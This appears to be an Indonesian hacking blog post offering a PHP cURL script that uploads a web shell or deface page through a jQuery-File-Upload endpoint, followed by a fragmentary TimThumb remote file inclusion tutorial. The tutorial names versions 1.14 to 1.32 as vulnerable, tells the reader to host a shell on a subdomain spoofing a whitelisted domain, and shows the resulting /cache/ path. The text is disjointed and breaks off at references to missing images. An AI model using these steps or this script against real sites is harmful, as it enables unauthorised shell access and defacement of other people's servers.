SiPengembara Gila

 <?php
$file = "kkk.htm"; //shell ataupun script deface
$post = array("files[]" => "@$file",
);
$ch2 = curl_init ("http://site.com/assets/super_admin/vendor/jquery-file-upload/server/php/");
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch2, CURLOPT_POST, 1);
curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch2);
echo $data."\n\n\n";
?>

no image specified
Query String : 
TimThumb version : 1.19 

berarti vuln ;) ,, nah yang harus kamu ketahui lagi itu adalah TimThumb version . 

Nah jadi target yang bisa kita exploitasi itu timthumb version 1.14 sampai dengan 

1.32 ,, Udah ngerti kan ? :) kalo belum ngerti liat aja tutorialnya :) ,, Yuk TKP .. 

Alat dan Bahan : 

1. Subdomain yang terintegrasi website berikut 

   : picasa.com

   : blogger.com

   : flixr.com 

sebenarnya ada 5 tapi aku gk hafal U,u ,, contoh " flxr.com.namawebsitekamu.com/shell.php "

, Nah sebelumnya kamu musti upload dulu shell di subdomain kamu yang letaknya di directory

public_html / httpdocs / www / dan macam² .. 

2. Otak dan pantang menyerah ;) .. 

Exploit : 

1. Kali ini saya dah punya target sendiri ,, lihat gambar .. 

 

" /cache/c89de71219ef668b7642e43e04d5d4df.php " masih kurang jelas ? liat gambar ..